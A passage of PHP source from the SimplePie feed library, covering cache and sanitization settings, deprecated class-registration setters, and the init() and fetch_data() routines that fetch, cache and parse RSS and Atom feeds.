* @param bool $enable Force use of cache on fail.
* @return void
*/
public function force_cache_fallback(bool $enable = false)
{
// @trigger_error(sprintf('SimplePie\SimplePie::force_cache_fallback() is deprecated since SimplePie 1.8.0, expired cache will not be used anymore.'), \E_USER_DEPRECATED);
$this->force_cache_fallback = $enable;
}
/**
* Set the length of time (in seconds) that the contents of a feed will be
* cached
*
* @param int $seconds The feed content cache duration
* @return void
*/
public function set_cache_duration(int $seconds = 3600)
{
$this->cache_duration = $seconds;
}
/**
* Set the length of time (in seconds) that the autodiscovered feed URL will
* be cached
*
* @param int $seconds The autodiscovered feed URL cache duration.
* @return void
*/
public function set_autodiscovery_cache_duration(int $seconds = 604800)
{
$this->autodiscovery_cache_duration = $seconds;
}
/**
* Set the file system location where the cached files should be stored
*
* @deprecated since SimplePie 1.8.0, use SimplePie::set_cache() instead.
*
* @param string $location The file system location.
* @return void
*/
public function set_cache_location(string $location = './cache')
{
// @trigger_error(sprintf('SimplePie\SimplePie::set_cache_location() is deprecated since SimplePie 1.8.0, please use "SimplePie\SimplePie::set_cache()" instead.'), \E_USER_DEPRECATED);
$this->cache_location = $location;
}
/**
* Return the filename (i.e. hash, without path and without extension) of the file to cache a given URL.
*
* @param string $url The URL of the feed to be cached.
* @return string A filename (i.e. hash, without path and without extension).
*/
public function get_cache_filename(string $url)
{
// Append custom parameters to the URL to avoid cache pollution in case of multiple calls with different parameters.
$url .= $this->force_feed ? '#force_feed' : '';
$options = [];
if ($this->timeout != 10) {
$options[CURLOPT_TIMEOUT] = $this->timeout;
}
if ($this->useragent !== Misc::get_default_useragent()) {
$options[CURLOPT_USERAGENT] = $this->useragent;
}
if (!empty($this->curl_options)) {
foreach ($this->curl_options as $k => $v) {
$options[$k] = $v;
}
}
if (!empty($options)) {
ksort($options);
$url .= '#' . urlencode(var_export($options, true));
}
return $this->cache_namefilter->filter($url);
}
/**
* Set whether feed items should be sorted into reverse chronological order
*
* @param bool $enable Sort as reverse chronological order.
* @return void
*/
public function enable_order_by_date(bool $enable = true)
{
$this->order_by_date = $enable;
}
/**
* Set the character encoding used to parse the feed
*
* This overrides the encoding reported by the feed, however it will fall
* back to the normal encoding detection if the override fails
*
* @param string|false $encoding Character encoding
* @return void
*/
public function set_input_encoding($encoding = false)
{
if ($encoding) {
$this->input_encoding = (string) $encoding;
} else {
$this->input_encoding = false;
}
}
/**
* Set how much feed autodiscovery to do
*
* @see self::LOCATOR_NONE
* @see self::LOCATOR_AUTODISCOVERY
* @see self::LOCATOR_LOCAL_EXTENSION
* @see self::LOCATOR_LOCAL_BODY
* @see self::LOCATOR_REMOTE_EXTENSION
* @see self::LOCATOR_REMOTE_BODY
* @see self::LOCATOR_ALL
* @param self::LOCATOR_* $level Feed Autodiscovery Level (level can be a combination of the above constants, see bitwise OR operator)
* @return void
*/
public function set_autodiscovery_level(int $level = self::LOCATOR_ALL)
{
$this->autodiscovery = $level;
}
/**
* Get the class registry
*
* Use this to override SimplePie's default classes
*
* @return Registry
*/
public function &get_registry()
{
return $this->registry;
}
/**
* Set which class SimplePie uses for caching
*
* @deprecated since SimplePie 1.3, use {@see set_cache()} instead
*
* @param class-string<Cache> $class Name of custom class
*
* @return bool True on success, false otherwise
*/
public function set_cache_class(string $class = Cache::class)
{
trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::set_cache()" instead.', __METHOD__), \E_USER_DEPRECATED);
return $this->registry->register(Cache::class, $class, true);
}
/**
* Set which class SimplePie uses for auto-discovery
*
* @deprecated since SimplePie 1.3, use {@see get_registry()} instead
*
* @param class-string<Locator> $class Name of custom class
*
* @return bool True on success, false otherwise
*/
public function set_locator_class(string $class = Locator::class)
{
trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);
return $this->registry->register(Locator::class, $class, true);
}
/**
* Set which class SimplePie uses for XML parsing
*
* @deprecated since SimplePie 1.3, use {@see get_registry()} instead
*
* @param class-string<Parser> $class Name of custom class
*
* @return bool True on success, false otherwise
*/
public function set_parser_class(string $class = Parser::class)
{
trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);
return $this->registry->register(Parser::class, $class, true);
}
/**
* Set which class SimplePie uses for remote file fetching
*
* @deprecated since SimplePie 1.3, use {@see get_registry()} instead
*
* @param class-string<File> $class Name of custom class
*
* @return bool True on success, false otherwise
*/
public function set_file_class(string $class = File::class)
{
trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);
return $this->registry->register(File::class, $class, true);
}
/**
* Set which class SimplePie uses for data sanitization
*
* @deprecated since SimplePie 1.3, use {@see get_registry()} instead
*
* @param class-string<Sanitize> $class Name of custom class
*
* @return bool True on success, false otherwise
*/
public function set_sanitize_class(string $class = Sanitize::class)
{
trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);
return $this->registry->register(Sanitize::class, $class, true);
}
/**
* Set which class SimplePie uses for handling feed items
*
* @deprecated since SimplePie 1.3, use {@see get_registry()} instead
*
* @param class-string<Item> $class Name of custom class
*
* @return bool True on success, false otherwise
*/
public function set_item_class(string $class = Item::class)
{
trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);
return $this->registry->register(Item::class, $class, true);
}
/**
* Set which class SimplePie uses for handling author data
*
* @deprecated since SimplePie 1.3, use {@see get_registry()} instead
*
* @param class-string<Author> $class Name of custom class
*
* @return bool True on success, false otherwise
*/
public function set_author_class(string $class = Author::class)
{
trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);
return $this->registry->register(Author::class, $class, true);
}
/**
* Set which class SimplePie uses for handling category data
*
* @deprecated since SimplePie 1.3, use {@see get_registry()} instead
*
* @param class-string<Category> $class Name of custom class
*
* @return bool True on success, false otherwise
*/
public function set_category_class(string $class = Category::class)
{
trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);
return $this->registry->register(Category::class, $class, true);
}
/**
* Set which class SimplePie uses for feed enclosures
*
* @deprecated since SimplePie 1.3, use {@see get_registry()} instead
*
* @param class-string<Enclosure> $class Name of custom class
*
* @return bool True on success, false otherwise
*/
public function set_enclosure_class(string $class = Enclosure::class)
{
trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);
return $this->registry->register(Enclosure::class, $class, true);
}
/**
* Set which class SimplePie uses for `<media:text>` captions
*
* @deprecated since SimplePie 1.3, use {@see get_registry()} instead
*
* @param class-string<Caption> $class Name of custom class
*
* @return bool True on success, false otherwise
*/
public function set_caption_class(string $class = Caption::class)
{
trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);
return $this->registry->register(Caption::class, $class, true);
}
/**
* Set which class SimplePie uses for `<media:copyright>`
*
* @deprecated since SimplePie 1.3, use {@see get_registry()} instead
*
* @param class-string<Copyright> $class Name of custom class
*
* @return bool True on success, false otherwise
*/
public function set_copyright_class(string $class = Copyright::class)
{
trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);
return $this->registry->register(Copyright::class, $class, true);
}
/**
* Set which class SimplePie uses for `<media:credit>`
*
* @deprecated since SimplePie 1.3, use {@see get_registry()} instead
*
* @param class-string<Credit> $class Name of custom class
*
* @return bool True on success, false otherwise
*/
public function set_credit_class(string $class = Credit::class)
{
trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);
return $this->registry->register(Credit::class, $class, true);
}
/**
* Set which class SimplePie uses for `<media:rating>`
*
* @deprecated since SimplePie 1.3, use {@see get_registry()} instead
*
* @param class-string<Rating> $class Name of custom class
*
* @return bool True on success, false otherwise
*/
public function set_rating_class(string $class = Rating::class)
{
trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);
return $this->registry->register(Rating::class, $class, true);
}
/**
* Set which class SimplePie uses for `<media:restriction>`
*
* @deprecated since SimplePie 1.3, use {@see get_registry()} instead
*
* @param class-string<Restriction> $class Name of custom class
*
* @return bool True on success, false otherwise
*/
public function set_restriction_class(string $class = Restriction::class)
{
trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);
return $this->registry->register(Restriction::class, $class, true);
}
/**
* Set which class SimplePie uses for content-type sniffing
*
* @deprecated since SimplePie 1.3, use {@see get_registry()} instead
*
* @param class-string<Sniffer> $class Name of custom class
*
* @return bool True on success, false otherwise
*/
public function set_content_type_sniffer_class(string $class = Sniffer::class)
{
trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);
return $this->registry->register(Sniffer::class, $class, true);
}
/**
* Set which class SimplePie uses item sources
*
* @deprecated since SimplePie 1.3, use {@see get_registry()} instead
*
* @param class-string<Source> $class Name of custom class
*
* @return bool True on success, false otherwise
*/
public function set_source_class(string $class = Source::class)
{
trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);
return $this->registry->register(Source::class, $class, true);
}
/**
* Set the user agent string
*
* @param string $ua New user agent string.
* @return void
*/
public function set_useragent(?string $ua = null)
{
if ($this->http_client_injected) {
throw new SimplePieException(sprintf(
'Using "%s()" has no effect, because you already provided a HTTP client with "%s::set_http_client()". Configure user agent string in your HTTP client instead.',
__METHOD__,
self::class
));
}
if ($ua === null) {
$ua = Misc::get_default_useragent();
}
$this->useragent = (string) $ua;
// Reset a possible existing FileClient,
// so a new client with the changed value will be created
if (is_object($this->http_client) && $this->http_client instanceof FileClient) {
$this->http_client = null;
} elseif (is_object($this->http_client)) {
// Trigger notice if a PSR-18 client was set
trigger_error(sprintf(
'Using "%s()" has no effect, because you already provided a HTTP client with "%s::set_http_client()". Configure the useragent in your HTTP client instead.',
__METHOD__,
get_class($this)
), \E_USER_NOTICE);
}
}
/**
* Set a namefilter to modify the cache filename with
*
* @param NameFilter $filter
*
* @return void
*/
public function set_cache_namefilter(NameFilter $filter): void
{
$this->cache_namefilter = $filter;
}
/**
* Set callback function to create cache filename with
*
* @deprecated since SimplePie 1.8.0, use {@see set_cache_namefilter()} instead
*
* @param (string&(callable(string): string))|null $function Callback function
* @return void
*/
public function set_cache_name_function(?string $function = null)
{
// trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.8.0, please use "SimplePie\SimplePie::set_cache_namefilter()" instead.', __METHOD__), \E_USER_DEPRECATED);
if ($function === null) {
$function = 'md5';
}
$this->cache_name_function = $function;
$this->set_cache_namefilter(new CallableNameFilter($this->cache_name_function));
}
/**
* Set options to make SP as fast as possible
*
* Forgoes a substantial amount of data sanitization in favor of speed. This
* turns SimplePie into a dumb parser of feeds.
*
* @param bool $set Whether to set them or not
* @return void
*/
public function set_stupidly_fast(bool $set = false)
{
if ($set) {
$this->enable_order_by_date(false);
$this->remove_div(false);
$this->strip_comments(false);
$this->strip_htmltags([]);
$this->strip_attributes([]);
$this->add_attributes([]);
$this->set_image_handler(false);
$this->set_https_domains([]);
}
}
/**
* Set maximum number of feeds to check with autodiscovery
*
* @param int $max Maximum number of feeds to check
* @return void
*/
public function set_max_checked_feeds(int $max = 10)
{
$this->max_checked_feeds = $max;
}
/**
* @return void
*/
public function remove_div(bool $enable = true)
{
$this->sanitize->remove_div($enable);
}
/**
* @param string[]|string|false $tags Set a list of tags to strip, or set empty string to use default tags, or false to strip nothing.
* @return void
*/
public function strip_htmltags($tags = '', ?bool $encode = null)
{
if ($tags === '') {
$tags = $this->strip_htmltags;
}
$this->sanitize->strip_htmltags($tags);
if ($encode !== null) {
$this->sanitize->encode_instead_of_strip($encode);
}
}
/**
* @return void
*/
public function encode_instead_of_strip(bool $enable = true)
{
$this->sanitize->encode_instead_of_strip($enable);
}
/**
* @param string[]|string $attribs
* @return void
*/
public function rename_attributes($attribs = '')
{
if ($attribs === '') {
$attribs = $this->rename_attributes;
}
$this->sanitize->rename_attributes($attribs);
}
/**
* @param string[]|string $attribs
* @return void
*/
public function strip_attributes($attribs = '')
{
if ($attribs === '') {
$attribs = $this->strip_attributes;
}
$this->sanitize->strip_attributes($attribs);
}
/**
* @param array<string, array<string, string>>|'' $attribs
* @return void
*/
public function add_attributes($attribs = '')
{
if ($attribs === '') {
$attribs = $this->add_attributes;
}
$this->sanitize->add_attributes($attribs);
}
/**
* Set the output encoding
*
* Allows you to override SimplePie's output to match that of your webpage.
* This is useful for times when your webpages are not being served as
* UTF-8. This setting will be obeyed by {@see handle_content_type()}, and
* is similar to {@see set_input_encoding()}.
*
* It should be noted, however, that not all character encodings can support
* all characters. If your page is being served as ISO-8859-1 and you try
* to display a Japanese feed, you'll likely see garbled characters.
* Because of this, it is highly recommended to ensure that your webpages
* are served as UTF-8.
*
* The number of supported character encodings depends on whether your web
* host supports {@link http://php.net/mbstring mbstring},
* {@link http://php.net/iconv iconv}, or both. See
* {@link http://simplepie.org/wiki/faq/Supported_Character_Encodings} for
* more information.
*
* @param string $encoding
* @return void
*/
public function set_output_encoding(string $encoding = 'UTF-8')
{
$this->sanitize->set_output_encoding($encoding);
}
/**
* @return void
*/
public function strip_comments(bool $strip = false)
{
$this->sanitize->strip_comments($strip);
}
/**
* Set element/attribute key/value pairs of HTML attributes
* containing URLs that need to be resolved relative to the feed
*
* Defaults to |a|@href, |area|@href, |blockquote|@cite, |del|@cite,
* |form|@action, |img|@longdesc, |img|@src, |input|@src, |ins|@cite,
* |q|@cite
*
* @since 1.0
* @param array<string, string|string[]>|null $element_attribute Element/attribute key/value pairs, null for default
* @return void
*/
public function set_url_replacements(?array $element_attribute = null)
{
$this->sanitize->set_url_replacements($element_attribute);
}
/**
* Set the list of domains for which to force HTTPS.
* @see Sanitize::set_https_domains()
* @param array<string> $domains List of HTTPS domains. Example array('biz', 'example.com', 'example.org', 'www.example.net').
* @return void
*/
public function set_https_domains(array $domains = [])
{
$this->sanitize->set_https_domains($domains);
}
/**
* Set the handler to enable the display of cached images.
*
* @param string|false $page Web-accessible path to the handler_image.php file.
* @param string $qs The query string that the value should be passed to.
* @return void
*/
public function set_image_handler($page = false, string $qs = 'i')
{
if ($page !== false) {
$this->sanitize->set_image_handler($page . '?' . $qs . '=');
} else {
$this->image_handler = '';
}
}
/**
* Set the limit for items returned per-feed with multifeeds
*
* @param int $limit The maximum number of items to return.
* @return void
*/
public function set_item_limit(int $limit = 0)
{
$this->item_limit = $limit;
}
/**
* Enable throwing exceptions
*
* @param bool $enable Should we throw exceptions, or use the old-style error property?
* @return void
*/
public function enable_exceptions(bool $enable = true)
{
$this->enable_exceptions = $enable;
}
/**
* Initialize the feed object
*
* This is what makes everything happen. Period. This is where all of the
* configuration options get processed, feeds are fetched, cached, and
* parsed, and all of that other good stuff.
*
* @return bool True if successful, false otherwise
*/
public function init()
{
// Check absolute bare minimum requirements.
if (!extension_loaded('xml') || !extension_loaded('pcre')) {
$this->error = 'XML or PCRE extensions not loaded!';
return false;
}
// Then check the xml extension is sane (i.e., libxml 2.7.x issue on PHP < 5.2.9 and libxml 2.7.0 to 2.7.2 on any version) if we don't have xmlreader.
elseif (!extension_loaded('xmlreader')) {
static $xml_is_sane = null;
if ($xml_is_sane === null) {
$parser_check = xml_parser_create();
xml_parse_into_struct($parser_check, '<foo>&</foo>', $values);
if (\PHP_VERSION_ID < 80000) {
xml_parser_free($parser_check);
}
$xml_is_sane = isset($values[0]['value']);
}
if (!$xml_is_sane) {
return false;
}
}
// The default sanitize class gets set in the constructor, check if it has
// changed.
if ($this->registry->get_class(Sanitize::class) !== Sanitize::class) {
$this->sanitize = $this->registry->create(Sanitize::class);
}
if (method_exists($this->sanitize, 'set_registry')) {
$this->sanitize->set_registry($this->registry);
}
// Pass whatever was set with config options over to the sanitizer.
// Pass the classes in for legacy support; new classes should use the registry instead
$cache = $this->registry->get_class(Cache::class);
\assert($cache !== null, 'Cache must be defined');
$this->sanitize->pass_cache_data(
$this->enable_cache,
$this->cache_location,
$this->cache_namefilter,
$cache,
$this->cache
);
$http_client = $this->get_http_client();
if ($http_client instanceof Psr18Client) {
$this->sanitize->set_http_client(
$http_client->getHttpClient(),
$http_client->getRequestFactory(),
$http_client->getUriFactory()
);
}
if (!empty($this->multifeed_url)) {
$i = 0;
$success = 0;
$this->multifeed_objects = [];
$this->error = [];
foreach ($this->multifeed_url as $url) {
$this->multifeed_objects[$i] = clone $this;
$this->multifeed_objects[$i]->set_feed_url($url);
$single_success = $this->multifeed_objects[$i]->init();
$success |= $single_success;
if (!$single_success) {
$this->error[$i] = $this->multifeed_objects[$i]->error();
}
$i++;
}
return (bool) $success;
} elseif ($this->feed_url === null && $this->raw_data === null) {
return false;
}
$this->error = null;
$this->data = [];
$this->check_modified = false;
$this->multifeed_objects = [];
$cache = false;
if ($this->feed_url !== null) {
$parsed_feed_url = $this->registry->call(Misc::class, 'parse_url', [$this->feed_url]);
// Decide whether to enable caching
if ($this->enable_cache && $parsed_feed_url['scheme'] !== '') {
$cache = $this->get_cache($this->feed_url);
}
// Fetch the data into $this->raw_data
if (($fetched = $this->fetch_data($cache)) === true) {
return true;
} elseif ($fetched === false) {
return false;
}
[$headers, $sniffed] = $fetched;
}
// Empty response check
if (empty($this->raw_data)) {
$this->error = "A feed could not be found at `$this->feed_url`. Empty body.";
$this->registry->call(Misc::class, 'error', [$this->error, E_USER_NOTICE, __FILE__, __LINE__]);
return false;
}
// Set up array of possible encodings
$encodings = [];
// First check to see if input has been overridden.
if ($this->input_encoding !== false) {
$encodings[] = strtoupper($this->input_encoding);
}
$application_types = ['application/xml', 'application/xml-dtd', 'application/xml-external-parsed-entity'];
$text_types = ['text/xml', 'text/xml-external-parsed-entity'];
// RFC 3023 (only applies to sniffed content)
if (isset($sniffed)) {
if (in_array($sniffed, $application_types) || substr($sniffed, 0, 12) === 'application/' && substr($sniffed, -4) === '+xml') {
if (isset($headers['content-type']) && preg_match('/;\x20?charset=([^;]*)/i', $headers['content-type'], $charset)) {
$encodings[] = strtoupper($charset[1]);
}
$encodings = array_merge($encodings, $this->registry->call(Misc::class, 'xml_encoding', [$this->raw_data, &$this->registry]));
$encodings[] = 'UTF-8';
} elseif (in_array($sniffed, $text_types) || substr($sniffed, 0, 5) === 'text/' && substr($sniffed, -4) === '+xml') {
if (isset($headers['content-type']) && preg_match('/;\x20?charset=([^;]*)/i', $headers['content-type'], $charset)) {
$encodings[] = strtoupper($charset[1]);
}
$encodings[] = 'US-ASCII';
}
// Text MIME-type default
elseif (substr($sniffed, 0, 5) === 'text/') {
$encodings[] = 'UTF-8';
}
}
// Fallback to XML 1.0 Appendix F.1/UTF-8/ISO-8859-1
$encodings = array_merge($encodings, $this->registry->call(Misc::class, 'xml_encoding', [$this->raw_data, &$this->registry]));
$encodings[] = 'UTF-8';
$encodings[] = 'ISO-8859-1';
// There's no point in trying an encoding twice
$encodings = array_unique($encodings);
// Loop through each possible encoding, till we return something, or run out of possibilities
foreach ($encodings as $encoding) {
// Change the encoding to UTF-8 (as we always use UTF-8 internally)
if ($utf8_data = $this->registry->call(Misc::class, 'change_encoding', [$this->raw_data, $encoding, 'UTF-8'])) {
// Create new parser
$parser = $this->registry->create(Parser::class);
// If it's parsed fine
if ($parser->parse($utf8_data, 'UTF-8', $this->permanent_url ?? '')) {
$this->data = $parser->get_data();
if (!($this->get_type() & ~self::TYPE_NONE)) {
$this->error = "A feed could not be found at `$this->feed_url`. This does not appear to be a valid RSS or Atom feed.";
$this->registry->call(Misc::class, 'error', [$this->error, E_USER_NOTICE, __FILE__, __LINE__]);
return false;
}
if (isset($headers)) {
$this->data['headers'] = $headers;
}
$this->data['build'] = Misc::get_build();
// Cache the file if caching is enabled
$this->data['cache_expiration_time'] = $this->cache_duration + time();
if ($cache && !$cache->set_data($this->get_cache_filename($this->feed_url), $this->data, $this->cache_duration)) {
trigger_error("$this->cache_location is not writable. Make sure you've set the correct relative or absolute path, and that the location is server-writable.", E_USER_WARNING);
}
return true;
}
}
}
if (isset($parser)) {
// We have an error, just set Misc::error to it and quit
$this->error = $this->feed_url;
$this->error .= sprintf(' is invalid XML, likely due to invalid characters. XML error: %s at line %d, column %d', $parser->get_error_string(), $parser->get_current_line(), $parser->get_current_column());
} else {
$this->error = 'The data could not be converted to UTF-8.';
if (!extension_loaded('mbstring') && !extension_loaded('iconv') && !class_exists('\UConverter')) {
$this->error .= ' You MUST have either the iconv, mbstring or intl (PHP 5.5+) extension installed and enabled.';
} else {
$missingExtensions = [];
if (!extension_loaded('iconv')) {
$missingExtensions[] = 'iconv';
}
if (!extension_loaded('mbstring')) {
$missingExtensions[] = 'mbstring';
}
if (!class_exists('\UConverter')) {
$missingExtensions[] = 'intl (PHP 5.5+)';
}
$this->error .= ' Try installing/enabling the ' . implode(' or ', $missingExtensions) . ' extension.';
}
}
$this->registry->call(Misc::class, 'error', [$this->error, E_USER_NOTICE, __FILE__, __LINE__]);
return false;
}
/**
* Fetch the data
*
* If the data is already cached, attempt to fetch it from there instead
*
* @param Base|DataCache|false $cache Cache handler, or false to not load from the cache
* @return array{array<string, string>, string}|bool Returns true if the data was loaded from the cache, or an array of HTTP headers and sniffed type
*/
protected function fetch_data(&$cache)
{
if ($cache instanceof Base) {
// @trigger_error(sprintf('Providing $cache as "\SimplePie\Cache\Base" in %s() is deprecated since SimplePie 1.8.0, please provide "\SimplePie\Cache\DataCache" implementation instead.', __METHOD__), \E_USER_DEPRECATED);
$cache = new BaseDataCache($cache);
}
// @phpstan-ignore-next-line Enforce PHPDoc type.
if ($cache !== false && !$cache instanceof DataCache) {
throw new InvalidArgumentException(sprintf(
'%s(): Argument #1 ($cache) must be of type %s|false',
__METHOD__,
DataCache::class
), 1);
}
$cacheKey = $this->get_cache_filename($this->feed_url);
// If it's enabled, use the cache
if ($cache) {
// Load the Cache
$this->data = $cache->get_data($cacheKey, []);
if (!empty($this->data)) {
// If the cache is for an outdated build of SimplePie
if (!isset($this->data['build']) || $this->data['build'] !== Misc::get_build()) {
$cache->delete_data($cacheKey);
$this->data = [];
}
// If we've hit a collision just rerun it with caching disabled
elseif (isset($this->data['url']) && $this->data['url'] !== $this->feed_url) {
$cache = false;
$this->data = [];
}
// If we've got a non feed_url stored (if the page isn't actually a feed, or is a redirect) use that URL.
elseif (isset($this->data['feed_url'])) {
// Do not need to do feed autodiscovery yet.
if ($this->data['feed_url'] !== $this->data['url']) {
$this->set_feed_url($this->data['feed_url']);
$this->data['url'] = $this->data['feed_url'];
$cache->set_data($this->get_cache_filename($this->feed_url), $this->data, $this->autodiscovery_cache_duration);
return $this->init();
}
$cache->delete_data($this->get_cache_filename($this->feed_url));
$this->data = [];
}
// Check if the cache has been updated
elseif (!isset($this->data['cache_expiration_time']) || $this->data['cache_expiration_time'] < time()) {
// Want to know if we tried to send last-modified and/or etag headers
// when requesting this file. (Note that it's up to the file to
// support this, but we don't always send the headers either.)
$this->check_modified = true;
if (isset($this->data['headers']['last-modified']) || isset($this->data['headers']['etag'])) {
$headers = [
'Accept' => SimplePie::DEFAULT_HTTP_ACCEPT_HEADER,
];
if (isset($this->data['headers']['last-modified'])) {
$headers['if-modified-since'] = $this->data['headers']['last-modified'];
}
if (isset($this->data['headers']['etag'])) {
$headers['if-none-match'] = $this->data['headers']['etag'];
}
try {
$file = $this->get_http_client()->request(Client::METHOD_GET, $this->feed_url, $headers);
$this->status_code = $file->get_status_code();
} catch (ClientException $th) {
$this->check_modified = false;
$this->status_code = 0;
if ($this->force_cache_fallback) {
$this->data['cache_expiration_time'] = $this->cache_duration + time();
$cache->set_data($cacheKey, $this->data, $this->cache_duration);
return true;
}
$failedFileReason = $th->getMessage();
}
if ($this->status_code === 304) {
// Set raw_data to false here too, to signify that the cache
// is still valid.
$this->raw_data = false;
$this->data['cache_expiration_time'] = $this->cache_duration + time();
$cache->set_data($cacheKey, $this->data, $this->cache_duration);
return true;
}
}
}
// If the cache is still valid, just return true
else {
$this->raw_data = false;
return true;
}
}
// If the cache is empty
else {
$this->data = [];
}
}
// If we don't already have the file (it'll only exist if we've opened it to check if the cache has been modified), open it.
if (!isset($file)) {
if ($this->file instanceof File && $this->file->get_final_requested_uri() === $this->feed_url) {
$file = &$this->file;
} elseif (isset($failedFileReason)) {
// Do not try to fetch again if we already failed once.
// If the file connection had an error, set SimplePie::error to that and quit
$this->error = $failedFileReason;
return !empty($this->data);
} else {
$headers = [
'Accept' => SimplePie::DEFAULT_HTTP_ACCEPT_HEADER,
];
try {
$file = $this->get_http_client()->request(Client::METHOD_GET, $this->feed_url, $headers);
} catch (ClientException $th) {
// If the file connection has an error, set SimplePie::error to that and quit
$this->error = $th->getMessage();
return !empty($this->data);
}
}
}
$this->status_code = $file->get_status_code();
// If the file connection has an error, set SimplePie::error to that and quit
if (!(!Misc::is_remote_uri($file->get_final_requested_uri()) || ($file->get_status_code() === 200 || $file->get_status_code() > 206 && $file->get_status_code() < 300))) {
$this->error = 'Retrieved unsupported status code "' . $this->status_code . '"';
return !empty($this->data);
}
if (!$this->force_feed) {
// Check if the supplied URL is a feed, if it isn't, look for it.
$locate = $this->registry->create(Locator::class, [
(!$file instanceof File) ? File::fromResponse($file) : $file,
$this->timeout,
$this->useragent,
$this->max_checked_feeds,
$this->force_fsockopen,
$this->curl_options
]);
$http_client = $this->get_http_client();
if ($http_client instanceof Psr18Client) {
$locate->set_http_client(
$http_client->getHttpClient(),
$http_client->getRequestFactory(),
$http_client->getUriFactory()
);
}
if (!$locate->is_feed($file)) {
$copyStatusCode = $file->get_status_code();
$copyContentType = $file->get_header_line('content-type');
try {
$microformats = false;
if (class_exists('DOMXpath') && function_exists('Mf2\parse')) {
$doc = new \DOMDocument();
@$doc->loadHTML($file->get_body_content());
$xpath = new \DOMXpath($doc);
// Check for both h-feed and h-entry, as both a feed with no entries
// and a list of entries without an h-feed wrapper are both valid.
$query = '//*[contains(concat(" ", @class, " "), " h-feed ") or '.
'contains(concat(" ", @class, " "), " h-entry ")]';
/** @var \DOMNodeList<\DOMElement> $result */
$result = $xpath->query($query);
$microformats = $result->length !== 0;
}
// Now also do feed discovery, but if microformats were found don't
// overwrite the current value of file.
$discovered = $locate->find(
$this->autodiscovery,
$this->all_discovered_feeds
);
if ($microformats) {
$hub = $locate->get_rel_link('hub');
$self = $locate->get_rel_link('self');
if ($hub || $self) {
$file = $this->store_links($file, $hub, $self);
}
// Push the current file onto all_discovered feeds so the user can
// be shown this as one of the options.
if ($this->all_discovered_feeds !== null) {
$this->all_discovered_feeds[] = $file;
}
} else {
if ($discovered) {
$file = $discovered;
} else {
// We need to unset this so that if SimplePie::set_file() has
// been called that object is untouched
unset($file);
$this->error = "A feed could not be found at `$this->feed_url`; the status code is `$copyStatusCode` and content-type is `$copyContentType`";
$this->registry->call(Misc::class, 'error', [$this->error, E_USER_NOTICE, __FILE__, __LINE__]);
return false;
}
}
} catch (SimplePieException $e) {
// We need to unset this so that if SimplePie::set_file() has been called that object is untouched
unset($file);
// This is usually because DOMDocument doesn't exist
$this->error = $e->getMessage();
$this->registry->call(Misc::class, 'error', [$this->error, E_USER_NOTICE, $e->getFile(), $e->getLine()]);
return false;
}
if ($cache) {
$this->data = [
'url' => $this->feed_url,
'feed_url' => $file->get_final_requested_uri(),
'build' => Misc::get_build(),
'cache_expiration_time' => $this->cache_duration + time(),
];
if (!$cache->set_data($cacheKey, $this->data, $this->cache_duration)) {
trigger_error("$this->cache_location is not writable. Make sure you've set the correct relative or absolute path, and that the location is server-writable.", E_USER_WARNING);
}
}
}
$this->feed_url = $file->get_final_requested_uri();
$locate = null;
}
$this->raw_data = $file->get_body_content();
$this->permanent_url = $file->get_permanent_uri();
$headers = [];
foreach ($file->get_headers() as $key => $values) {
$headers[$key] = implode(', ', $values);
}
$sniffer = $this->registry->create(Sniffer::class, [&$file]);
$sniffed = $sniffer->get_type();
return [$headers, $sniffed];
}
/**
* Get the error message for the occurred error
*
* @return string|string[]|null Error message, or array of messages for multifeeds
*/
public function error()
{
return $this->error;
}
/**
* Get the last HTTP status code
*
* @return int Status code
*/
public function status_code()
{
return $this->status_code;
}
/**
* Get the raw XML
*
* This is the same as the old `$feed->enable_xml_dump(true)`, but returns
* the data instead of printing it.
*
* @return string|false Raw XML data, false if the cache is used
*/
public function get_raw_data()
{
return $this->raw_data;
}
/**
* Get the character encoding used for output
*
* @since Preview Release
* @return string
*/
public function get_encoding()
{
return $this->sanitize->output_encoding;
}
/**
* Send the content-type header with correct encoding
*
* This method ensures that the SimplePie-enabled page is being served with
* the correct {@link http://www.iana.org/assignments/media-types/ mime-type}
* and character encoding HTTP headers (character encoding determined by the
* {@see set_output_encoding} config option).
*
* This won't work properly if any content or whitespace has already been
* sent to the browser, because it relies on PHP's
